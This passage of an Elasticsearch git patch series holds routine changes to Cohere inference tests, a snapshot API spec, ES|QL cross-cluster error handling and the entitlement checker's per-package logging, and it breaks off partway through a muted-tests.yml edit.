@@ -88,6 +91,6 @@ public void testXContents() throws IOException {
         String xContentResult = Strings.toString(builder);
 
         assertThat(xContentResult, CoreMatchers.is("""
-            {"message":"some input","model":"model","stream":false}"""));
+            {"messages":[{"role":"user","content":"some input"}],"model":"model","stream":false}"""));
     }
 }
diff --git a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/response/CohereCompletionResponseEntityTests.java b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/response/CohereCompletionResponseEntityTests.java
index 4a60dc5033e22..5d7a76a26e597 100644
--- a/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/response/CohereCompletionResponseEntityTests.java
+++ b/x-pack/plugin/inference/src/test/java/org/elasticsearch/xpack/inference/services/cohere/response/CohereCompletionResponseEntityTests.java
@@ -64,6 +64,42 @@ public void testFromResponse_CreatesResponseEntityForText() throws IOException {
         assertThat(chatCompletionResults.getResults().get(0).content(), is("result"));
     }
 
+    public void testFromResponseV2() throws IOException {
+        String responseJson = """
+            {
+              "id": "abc123",
+              "finish_reason": "COMPLETE",
+              "message": {
+                "role": "assistant",
+                "content": [
+                  {
+                    "type": "text",
+                    "text": "Response from the llm"
+                  }
+                ]
+              },
+              "usage": {
+                "billed_units": {
+                  "input_tokens": 1,
+                  "output_tokens": 4
+                },
+                "tokens": {
+                  "input_tokens": 2,
+                  "output_tokens": 5
+                }
+              }
+            }
+            """;
+
+        ChatCompletionResults chatCompletionResults = CohereCompletionResponseEntity.fromResponse(
+            mock(Request.class),
+            new HttpResult(mock(HttpResponse.class), responseJson.getBytes(StandardCharsets.UTF_8))
+        );
+
+        assertThat(chatCompletionResults.getResults().size(), is(1));
+        assertThat(chatCompletionResults.getResults().get(0).content(), is("Response from the llm"));
+    }
+
     public void testFromResponse_FailsWhenTextIsNotPresent() {
         String responseJson = """
             {

From cbcea110f9b4c8b44d56a9345999ce06a102cbb1 Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Tue, 15 Jul 2025 13:05:10 +0400
Subject: [PATCH 150/299] Add register_operation_count to
 snapshot.repository_analyze rest-api-spec (#131082) (#131277)

* Add register_operation_count to snapshot.repository_analyze

* Remove mention of realistic experiments for consistency



---------

Co-authored-by: Yang Wang <ywangd@gmail.com>
---
 .../rest-api-spec/api/snapshot.repository_analyze.json        | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/snapshot.repository_analyze.json b/rest-api-spec/src/main/resources/rest-api-spec/api/snapshot.repository_analyze.json
index 2578cd5684d6d..0b2bb66c709d7 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/snapshot.repository_analyze.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/snapshot.repository_analyze.json
@@ -36,6 +36,10 @@
         "type":"number",
         "description":"Number of operations to run concurrently during the test. Defaults to 10."
       },
+      "register_operation_count":{
+        "type":"number",
+        "description":"The minimum number of linearizable register operations to perform in total. Defaults to 10."
+      },
       "read_node_count":{
         "type":"number",
         "description":"Number of nodes on which to read a blob after writing. Defaults to 10."

From 3dfe0430421b000a2989906b337c451f9fa65ded Mon Sep 17 00:00:00 2001
From: Ievgen Degtiarenko <ievgen.degtiarenko@elastic.co>
Date: Tue, 15 Jul 2025 11:13:12 +0200
Subject: [PATCH 151/299] Ensure single segment in test (#131077) (#131275)

---
 .../lucene/read/ValuesSourceReaderOperatorTests.java  | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
index c9b46eb764580..0c227b5411e25 100644
--- a/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
+++ b/x-pack/plugin/esql/compute/src/test/java/org/elasticsearch/compute/lucene/read/ValuesSourceReaderOperatorTests.java
@@ -18,6 +18,7 @@
 import org.apache.lucene.index.IndexWriter;
 import org.apache.lucene.index.IndexWriterConfig;
 import org.apache.lucene.index.NoMergePolicy;
+import org.apache.lucene.index.TieredMergePolicy;
 import org.apache.lucene.search.MatchAllDocsQuery;
 import org.apache.lucene.store.Directory;
 import org.apache.lucene.tests.index.RandomIndexWriter;
@@ -390,11 +391,11 @@ private IndexReader initIndex(Directory directory, int size, int commitEvery) th
         return DirectoryReader.open(directory);
     }
 
-    private IndexReader initIndexLongField(Directory directory, int size, int commitEvery) throws IOException {
+    private IndexReader initIndexLongField(Directory directory, int size, int commitEvery, boolean forceMerge) throws IOException {
         try (
             IndexWriter writer = new IndexWriter(
                 directory,
-                newIndexWriterConfig().setMergePolicy(NoMergePolicy.INSTANCE).setMaxBufferedDocs(IndexWriterConfig.DISABLE_AUTO_FLUSH)
+                newIndexWriterConfig().setMergePolicy(new TieredMergePolicy()).setMaxBufferedDocs(IndexWriterConfig.DISABLE_AUTO_FLUSH)
             )
         ) {
             for (int d = 0; d < size; d++) {
@@ -413,6 +414,10 @@ private IndexReader initIndexLongField(Directory directory, int size, int commit
                     writer.commit();
                 }
             }
+
+            if (forceMerge) {
+                writer.forceMerge(1);
+            }
         }
         return DirectoryReader.open(directory);
     }
@@ -924,7 +929,7 @@ private void testLoadLong(boolean shuffle, boolean manySegments) throws IOExcept
         int numDocs = between(10, 500);
         initMapping();
         keyToTags.clear();
-        reader = initIndexLongField(directory, numDocs, manySegments ? commitEvery(numDocs) : numDocs);
+        reader = initIndexLongField(directory, numDocs, manySegments ? commitEvery(numDocs) : numDocs, manySegments == false);
 
         DriverContext driverContext = driverContext();
         List<Page> input = CannedSourceOperator.collectPages(sourceOperator(driverContext, numDocs));

From ae0cc0fef9cd4251057665b05db6ac2deed0ed3a Mon Sep 17 00:00:00 2001
From: Moritz Mack <mmack@apache.org>
Date: Tue, 15 Jul 2025 14:33:11 +0200
Subject: [PATCH 152/299] Log NotEntitledExceptions using logger with <package>
 suffix (#131031) (#131289)

Log NotEntitledExceptions using logger with `<component>.<module>.<package>` suffix (instead of `<component>.<module>`) for more fine-grained mutes, but remaining backwards compatible regarding existing mutes.

Relates to ES-12231
---
 .../runtime/policy/PolicyCheckerImpl.java     | 63 +++++++++----------
 .../runtime/policy/PolicyManager.java         | 35 +++--------
 2 files changed, 39 insertions(+), 59 deletions(-)

diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
index 97236e653f4ba..acfdbb0caded7 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyCheckerImpl.java
@@ -137,7 +137,7 @@ private void neverEntitled(Class<?> callerClass, Supplier<String> operationDescr
                 requestingClass,
                 operationDescription.get()
             ),
-            callerClass,
+            requestingClass,
             entitlements
         );
     }
@@ -249,7 +249,7 @@ public void checkFileRead(Class<?> callerClass, Path path, boolean followLinks)
                     requestingClass,
                     realPath == null ? path : Strings.format("%s -> %s", path, realPath)
                 ),
-                callerClass,
+                requestingClass,
                 entitlements
             );
         }
@@ -281,7 +281,7 @@ public void checkFileWrite(Class<?> callerClass, Path path) {
                     requestingClass,
                     path
                 ),
-                callerClass,
+                requestingClass,
                 entitlements
             );
         }
@@ -358,8 +358,8 @@ public void checkAllNetworkAccess(Class<?> callerClass) {
         }
 
         var classEntitlements = policyManager.getEntitlements(requestingClass);
-        checkFlagEntitlement(classEntitlements, InboundNetworkEntitlement.class, requestingClass, callerClass);
-        checkFlagEntitlement(classEntitlements, OutboundNetworkEntitlement.class, requestingClass, callerClass);
+        checkFlagEntitlement(classEntitlements, InboundNetworkEntitlement.class, requestingClass);
+        checkFlagEntitlement(classEntitlements, OutboundNetworkEntitlement.class, requestingClass);
     }
 
     @Override
@@ -376,16 +376,15 @@ public void checkWriteProperty(Class<?> callerClass, String property) {
 
         ModuleEntitlements entitlements = policyManager.getEntitlements(requestingClass);
         if (entitlements.getEntitlements(WriteSystemPropertiesEntitlement.class).anyMatch(e -> e.properties().contains(property))) {
-            entitlements.logger()
-                .debug(
-                    () -> Strings.format(
-                        "Entitled: component [%s], module [%s], class [%s], entitlement [write_system_properties], property [%s]",
-                        entitlements.componentName(),
-                        entitlements.moduleName(),
-                        requestingClass,
-                        property
-                    )
-                );
+            PolicyManager.generalLogger.debug(
+                () -> Strings.format(
+                    "Entitled: component [%s], module [%s], class [%s], entitlement [write_system_properties], property [%s]",
+                    entitlements.componentName(),
+                    entitlements.moduleName(),
+                    requestingClass,
+                    property
+                )
+            );
             return;
         }
         notEntitled(
@@ -396,7 +395,7 @@ public void checkWriteProperty(Class<?> callerClass, String property) {
                 requestingClass,
                 property
             ),
-            callerClass,
+            requestingClass,
             entitlements
         );
     }
@@ -437,8 +436,7 @@ Optional<StackWalker.StackFrame> findRequestingFrame(Stream<StackWalker.StackFra
     private void checkFlagEntitlement(
         ModuleEntitlements classEntitlements,
         Class<? extends Entitlement> entitlementClass,
-        Class<?> requestingClass,
-        Class<?> callerClass
+        Class<?> requestingClass
     ) {
         if (classEntitlements.hasEntitlement(entitlementClass) == false) {
             notEntitled(
@@ -449,27 +447,26 @@ private void checkFlagEntitlement(
                     requestingClass,
                     PolicyParser.buildEntitlementNameFromClass(entitlementClass)
                 ),
-                callerClass,
+                requestingClass,
                 classEntitlements
             );
         }
-        classEntitlements.logger()
-            .debug(
-                () -> Strings.format(
-                    "Entitled: component [%s], module [%s], class [%s], entitlement [%s]",
-                    classEntitlements.componentName(),
-                    classEntitlements.moduleName(),
-                    requestingClass,
-                    PolicyParser.buildEntitlementNameFromClass(entitlementClass)
-                )
-            );
+        PolicyManager.generalLogger.debug(
+            () -> Strings.format(
+                "Entitled: component [%s], module [%s], class [%s], entitlement [%s]",
+                classEntitlements.componentName(),
+                classEntitlements.moduleName(),
+                requestingClass,
+                PolicyParser.buildEntitlementNameFromClass(entitlementClass)
+            )
+        );
     }
 
-    private void notEntitled(String message, Class<?> callerClass, ModuleEntitlements entitlements) {
+    private void notEntitled(String message, Class<?> requestingClass, ModuleEntitlements entitlements) {
         var exception = new NotEntitledException(message);
         // Don't emit a log for suppressed packages, e.g. packages containing self tests
-        if (suppressFailureLogPackages.contains(callerClass.getPackage()) == false) {
-            entitlements.logger().warn("Not entitled: {}", message, exception);
+        if (suppressFailureLogPackages.contains(requestingClass.getPackage()) == false) {
+            entitlements.logger(requestingClass).warn("Not entitled: {}", message, exception);
         }
         throw exception;
     }
@@ -480,7 +477,7 @@ public void checkEntitlementPresent(Class<?> callerClass, Class<? extends Entitl
         if (policyManager.isTriviallyAllowed(requestingClass)) {
             return;
         }
-        checkFlagEntitlement(policyManager.getEntitlements(requestingClass), entitlementClass, requestingClass, callerClass);
+        checkFlagEntitlement(policyManager.getEntitlements(requestingClass), entitlementClass, requestingClass);
     }
 
     @Override
diff --git a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
index 8c2c55822b6b2..7f0541911284c 100644
--- a/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
+++ b/libs/entitlement/src/main/java/org/elasticsearch/entitlement/runtime/policy/PolicyManager.java
@@ -124,8 +124,7 @@ protected record ModuleEntitlements(
         String componentName,
         String moduleName,
         Map<Class<? extends Entitlement>, List<Entitlement>> entitlementsByType,
-        FileAccessTree fileAccess,
-        Logger logger
+        FileAccessTree fileAccess
     ) {
 
         public ModuleEntitlements {
@@ -143,6 +142,12 @@ public <E extends Entitlement> Stream<E> getEntitlements(Class<E> entitlementCla
             }
             return entitlements.stream().map(entitlementClass::cast);
         }
+
+        Logger logger(Class<?> requestingClass) {
+            var packageName = requestingClass.getPackageName();
+            var loggerSuffix = "." + componentName + "." + ((moduleName == null) ? ALL_UNNAMED : moduleName) + "." + packageName;
+            return LogManager.getLogger(PolicyManager.class.getName() + loggerSuffix);
+        }
     }
 
     private FileAccessTree getDefaultFileAccess(Collection<Path> componentPaths) {
@@ -151,13 +156,7 @@ private FileAccessTree getDefaultFileAccess(Collection<Path> componentPaths) {
 
     // pkg private for testing
     ModuleEntitlements defaultEntitlements(String componentName, Collection<Path> componentPaths, String moduleName) {
-        return new ModuleEntitlements(
-            componentName,
-            moduleName,
-            Map.of(),
-            getDefaultFileAccess(componentPaths),
-            getLogger(componentName, moduleName)
-        );
+        return new ModuleEntitlements(componentName, moduleName, Map.of(), getDefaultFileAccess(componentPaths));
     }
 
     // pkg private for testing
@@ -177,8 +176,7 @@ ModuleEntitlements policyEntitlements(
             componentName,
             moduleName,
             entitlements.stream().collect(groupingBy(Entitlement::getClass)),
-            FileAccessTree.of(componentName, moduleName, filesEntitlement, pathLookup, componentPaths, exclusivePaths),
-            getLogger(componentName, moduleName)
+            FileAccessTree.of(componentName, moduleName, filesEntitlement, pathLookup, componentPaths, exclusivePaths)
         );
     }
 
@@ -288,21 +286,6 @@ private static void validateEntitlementsPerModule(
         }
     }
 
-    private static Logger getLogger(String componentName, String moduleName) {
-        var loggerSuffix = "." + componentName + "." + ((moduleName == null) ? ALL_UNNAMED : moduleName);
-        return MODULE_LOGGERS.computeIfAbsent(PolicyManager.class.getName() + loggerSuffix, LogManager::getLogger);
-    }
-
-    /**
-     * We want to use the same {@link Logger} object for a given name, because we want {@link ModuleEntitlements}
-     * {@code equals} and {@code hashCode} to work.
-     * <p>
-     * This would not be required if LogManager
-     * <a href="https://github.com/elastic/elasticsearch/issues/87511">memoized the loggers</a>,
-     * but here we are.
-     */
-    private static final ConcurrentHashMap<String, Logger> MODULE_LOGGERS = new ConcurrentHashMap<>();
-
     protected ModuleEntitlements getEntitlements(Class<?> requestingClass) {
         return moduleEntitlementsMap.computeIfAbsent(requestingClass.getModule(), m -> computeEntitlements(requestingClass));
     }

From 3a36a150e0421b72c8bbbeb9b214db0d31bced19 Mon Sep 17 00:00:00 2001
From: Stanislav Malyshev <smalyshev@users.noreply.github.com>
Date: Tue, 15 Jul 2025 11:34:53 -0600
Subject: [PATCH 153/299] Refactor and simplify missing index & unavailability
 handling (#131252) (#131304)

(cherry picked from commit 366bc0068e6bfdfe055f4eb6e220ec891e2b9eb2)

# Conflicts:
#	x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
---
 .../xpack/esql/session/EsqlCCSUtils.java      | 30 +++++++++---------
 .../xpack/esql/session/EsqlSession.java       | 23 +++-----------
 .../xpack/esql/session/EsqlCCSUtilsTests.java | 31 +++++++++----------
 3 files changed, 33 insertions(+), 51 deletions(-)

diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
index 4b25ddfdfc2db..8b23e46f90a98 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtils.java
@@ -18,7 +18,6 @@
 import org.elasticsearch.compute.operator.DriverCompletionInfo;
 import org.elasticsearch.core.Nullable;
 import org.elasticsearch.index.IndexNotFoundException;
-import org.elasticsearch.index.query.QueryBuilder;
 import org.elasticsearch.indices.IndicesExpressionGrouper;
 import org.elasticsearch.license.XPackLicenseState;
 import org.elasticsearch.transport.ConnectTransportException;
@@ -37,11 +36,11 @@
 import java.util.ArrayList;
 import java.util.Collections;
 import java.util.HashMap;
-import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.Objects;
 import java.util.Set;
+import java.util.stream.Collectors;
 
 public class EsqlCCSUtils {
 
@@ -177,7 +176,11 @@ static String createIndexExpressionFromAvailableClusters(EsqlExecutionInfo execu
         }
     }
 
-    static void updateExecutionInfoWithUnavailableClusters(EsqlExecutionInfo execInfo, Map<String, FieldCapabilitiesFailure> unavailable) {
+    static void updateExecutionInfoWithUnavailableClusters(
+        EsqlExecutionInfo execInfo,
+        Map<String, List<FieldCapabilitiesFailure>> failures
+    ) {
+        Map<String, FieldCapabilitiesFailure> unavailable = determineUnavailableRemoteClusters(failures);
         for (Map.Entry<String, FieldCapabilitiesFailure> entry : unavailable.entrySet()) {
             String clusterAlias = entry.getKey();
             boolean skipUnavailable = execInfo.getCluster(clusterAlias).isSkipUnavailable();
@@ -196,14 +199,16 @@ static void updateExecutionInfoWithUnavailableClusters(EsqlExecutionInfo execInf
     static void updateExecutionInfoWithClustersWithNoMatchingIndices(
         EsqlExecutionInfo executionInfo,
         IndexResolution indexResolution,
-        Set<String> unavailableClusters,
-        QueryBuilder filter
+        boolean usedFilter
     ) {
-        final Set<String> clustersWithNoMatchingIndices = new HashSet<>(executionInfo.clusterAliases());
+        // Get the clusters which are still running, and we will check whether they have any matching indices.
+        // NOTE: we assume that updateExecutionInfoWithUnavailableClusters() was already run and took care of unavailable clusters.
+        final Set<String> clustersWithNoMatchingIndices = executionInfo.getClusterStates(Cluster.Status.RUNNING)
+            .map(Cluster::getClusterAlias)
+            .collect(Collectors.toSet());
         for (String indexName : indexResolution.resolvedIndices()) {
             clustersWithNoMatchingIndices.remove(RemoteClusterAware.parseClusterAlias(indexName));
         }
-        clustersWithNoMatchingIndices.removeAll(unavailableClusters);
         /*
          * Rules enforced at planning time around non-matching indices
          * 1. fail query if no matching indices on any cluster (VerificationException) - that is handled elsewhere
@@ -216,24 +221,20 @@ static void updateExecutionInfoWithClustersWithNoMatchingIndices(
          * Mark it as SKIPPED with 0 shards searched and took=0.
          */
         for (String c : clustersWithNoMatchingIndices) {
-            if (executionInfo.getCluster(c).getStatus() != Cluster.Status.RUNNING) {
-                // if cluster was already in a terminal state, we don't need to check it again
-                continue;
-            }
             final String indexExpression = executionInfo.getCluster(c).getIndexExpression();
             if (concreteIndexRequested(executionInfo.getCluster(c).getIndexExpression())) {
                 String error = Strings.format(
                     "Unknown index [%s]",
                     (c.equals(RemoteClusterAware.LOCAL_CLUSTER_GROUP_KEY) ? indexExpression : c + ":" + indexExpression)
                 );
-                if (executionInfo.isSkipUnavailable(c) == false || filter != null) {
+                if (executionInfo.isSkipUnavailable(c) == false || usedFilter) {
                     if (fatalErrorMessage == null) {
                         fatalErrorMessage = error;
                     } else {
                         fatalErrorMessage += "; " + error;
                     }
                 }
-                if (filter == null) {
+                if (usedFilter == false) {
                     // We check for filter since the filter may be the reason why the index is missing, and then we don't want to mark yet
                     markClusterWithFinalStateAndNoShards(
                         executionInfo,
@@ -269,8 +270,7 @@ static void updateExecutionInfoWithClustersWithNoMatchingIndices(
 
     // Filter-less version, mainly for testing where we don't need filter support
     static void updateExecutionInfoWithClustersWithNoMatchingIndices(EsqlExecutionInfo executionInfo, IndexResolution indexResolution) {
-        var unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(indexResolution.failures()).keySet();
-        updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution, unavailableClusters, null);
+        updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution, false);
     }
 
     // visible for testing
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
index dde54bccf2da4..b551e4205bb0e 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/session/EsqlSession.java
@@ -457,14 +457,8 @@ public void analyzedPlan(
             try {
                 // the order here is tricky - if the cluster has been filtered and later became unavailable,
                 // do we want to declare it successful or skipped? For now, unavailability takes precedence.
-                var unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(result.indices.failures());
-                EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, unavailableClusters);
-                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(
-                    executionInfo,
-                    result.indices,
-                    unavailableClusters.keySet(),
-                    null
-                );
+                EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, result.indices.failures());
+                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, result.indices, false);
                 plan = analyzeAction.apply(result);
             } catch (Exception e) {
                 l.onFailure(e);
@@ -571,10 +565,7 @@ private boolean allCCSClustersSkipped(
         ActionListener<LogicalPlan> logicalPlanListener
     ) {
         IndexResolution indexResolution = result.indices;
-        EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(
-            executionInfo,
-            EsqlCCSUtils.determineUnavailableRemoteClusters(indexResolution.failures())
-        );
+        EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, indexResolution.failures());
         if (executionInfo.isCrossClusterSearch()
             && executionInfo.getClusterStates(EsqlExecutionInfo.Cluster.Status.RUNNING).findAny().isEmpty()) {
             // for a CCS, if all clusters have been marked as SKIPPED, nothing to search so send a sentinel Exception
@@ -604,13 +595,7 @@ private static void analyzeAndMaybeRetry(
             if (result.indices.isValid() || requestFilter != null) {
                 // We won't run this check with no filter and no valid indices since this may lead to false positive - missing index report
                 // when the resolution result is not valid for a different reason.
-                var unavailableClusters = EsqlCCSUtils.determineUnavailableRemoteClusters(result.indices.failures()).keySet();
-                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(
-                    executionInfo,
-                    result.indices,
-                    unavailableClusters,
-                    requestFilter
-                );
+                EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, result.indices, requestFilter != null);
             }
             plan = analyzeAction.apply(result);
         } catch (Exception e) {
diff --git a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java
index a3d719cf91276..e2338a12f6179 100644
--- a/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java
+++ b/x-pack/plugin/esql/src/test/java/org/elasticsearch/xpack/esql/session/EsqlCCSUtilsTests.java
@@ -152,7 +152,7 @@ public void testUpdateExecutionInfoWithUnavailableClusters() {
             executionInfo.swapCluster(REMOTE2_ALIAS, (k, v) -> new EsqlExecutionInfo.Cluster(REMOTE2_ALIAS, "mylogs1,mylogs2,logs*", true));
 
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
-            var unvailableClusters = Map.of(REMOTE1_ALIAS, failure, REMOTE2_ALIAS, failure);
+            var unvailableClusters = Map.of(REMOTE1_ALIAS, List.of(failure), REMOTE2_ALIAS, List.of(failure));
             EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, unvailableClusters);
 
             assertThat(executionInfo.clusterAliases(), equalTo(Set.of(LOCAL_CLUSTER_ALIAS, REMOTE1_ALIAS, REMOTE2_ALIAS)));
@@ -184,7 +184,7 @@ public void testUpdateExecutionInfoWithUnavailableClusters() {
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
             RemoteTransportException e = expectThrows(
                 RemoteTransportException.class,
-                () -> EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, Map.of(REMOTE2_ALIAS, failure))
+                () -> EsqlCCSUtils.updateExecutionInfoWithUnavailableClusters(executionInfo, Map.of(REMOTE2_ALIAS, List.of(failure)))
             );
             assertThat(e.status().getStatus(), equalTo(500));
             assertThat(
@@ -337,8 +337,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
             );
             // remote1 is unavailable
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
-            var unavailableClusters = Map.of(REMOTE1_ALIAS, List.of(failure));
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), unavailableClusters);
+            var failures = Map.of(REMOTE1_ALIAS, List.of(failure));
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), failures);
 
             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
@@ -348,9 +348,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
 
             EsqlExecutionInfo.Cluster remote1Cluster = executionInfo.getCluster(REMOTE1_ALIAS);
             assertThat(remote1Cluster.getIndexExpression(), equalTo("*"));
-            // since remote1 is in the unavailable Map (passed to IndexResolution.valid), it's status will not be changed
-            // by updateExecutionInfoWithClustersWithNoMatchingIndices (it is handled in updateExecutionInfoWithUnavailableClusters)
-            assertThat(remote1Cluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.RUNNING));
+            // since remote1 is in the failures Map (passed to IndexResolution.valid),
+            assertThat(remote1Cluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SKIPPED));
 
             EsqlExecutionInfo.Cluster remote2Cluster = executionInfo.getCluster(REMOTE2_ALIAS);
             assertThat(remote2Cluster.getIndexExpression(), equalTo("mylogs1*,mylogs2*,logs*"));
@@ -380,8 +379,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
             );
 
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
-            var unavailableClusters = Map.of(REMOTE1_ALIAS, List.of(failure));
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), unavailableClusters);
+            var failures = Map.of(REMOTE1_ALIAS, List.of(failure));
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), failures);
             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
             EsqlExecutionInfo.Cluster localCluster = executionInfo.getCluster(LOCAL_CLUSTER_ALIAS);
@@ -389,9 +388,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
             assertClusterStatusAndShardCounts(localCluster, EsqlExecutionInfo.Cluster.Status.RUNNING);
 
             EsqlExecutionInfo.Cluster remote1Cluster = executionInfo.getCluster(REMOTE1_ALIAS);
-            // since remote1 is in the unavailable Map (passed to IndexResolution.valid), it's status will not be changed
-            // by updateExecutionInfoWithClustersWithNoMatchingIndices (it is handled in updateExecutionInfoWithUnavailableClusters)
-            assertThat(remote1Cluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.RUNNING));
+            // skipped since remote1 is in the failures Map
+            assertThat(remote1Cluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SKIPPED));
 
             EsqlExecutionInfo.Cluster remote2Cluster = executionInfo.getCluster(REMOTE2_ALIAS);
             assertThat(remote2Cluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SKIPPED));
@@ -429,8 +427,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
 
             // remote1 is unavailable
             var failure = new FieldCapabilitiesFailure(new String[] { "logs-a" }, new NoSeedNodeLeftException("unable to connect"));
-            var unavailableClusters = Map.of(REMOTE1_ALIAS, List.of(failure));
-            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), unavailableClusters);
+            var failures = Map.of(REMOTE1_ALIAS, List.of(failure));
+            IndexResolution indexResolution = IndexResolution.valid(esIndex, esIndex.concreteIndices(), failures);
 
             EsqlCCSUtils.updateExecutionInfoWithClustersWithNoMatchingIndices(executionInfo, indexResolution);
 
@@ -440,9 +438,8 @@ public void testUpdateExecutionInfoWithClustersWithNoMatchingIndices() {
 
             EsqlExecutionInfo.Cluster remote1Cluster = executionInfo.getCluster(REMOTE1_ALIAS);
             assertThat(remote1Cluster.getIndexExpression(), equalTo("*"));
-            // since remote1 is in the unavailable Map (passed to IndexResolution.valid), it's status will not be changed
-            // by updateExecutionInfoWithClustersWithNoMatchingIndices (it is handled in updateExecutionInfoWithUnavailableClusters)
-            assertThat(remote1Cluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.RUNNING));
+            // skipped since remote1 is in the failures Map
+            assertThat(remote1Cluster.getStatus(), equalTo(EsqlExecutionInfo.Cluster.Status.SKIPPED));
 
             EsqlExecutionInfo.Cluster remote2Cluster = executionInfo.getCluster(REMOTE2_ALIAS);
             assertThat(remote2Cluster.getIndexExpression(), equalTo("mylogs1*,mylogs2*,logs*"));

From 9ef53f842b422c18d967b133e84b72ef3268320d Mon Sep 17 00:00:00 2001
From: Mridula <mridula.s@elastic.co>
Date: Wed, 2 Jul 2025 16:47:38 +0100
Subject: [PATCH 154/299] Merged conflict resolved

---
 muted-tests.yml                                          | 9 ++++++---
 .../rest-api-spec/test/rrf/950_pinned_interaction.yml    | 9 +++------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/muted-tests.yml b/muted-tests.yml
index ac685fd1548a9..aed9cb0d254a8 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -486,9 +486,12 @@ tests:
 - class: org.elasticsearch.qa.verify_version_constants.VerifyVersionConstantsIT
   method: testLuceneVersionConstant
   issue: https://github.com/elastic/elasticsearch/issues/125638
-- class: org.elasticsearch.xpack.rank.rrf.RRFRankClientYamlTestSuiteIT
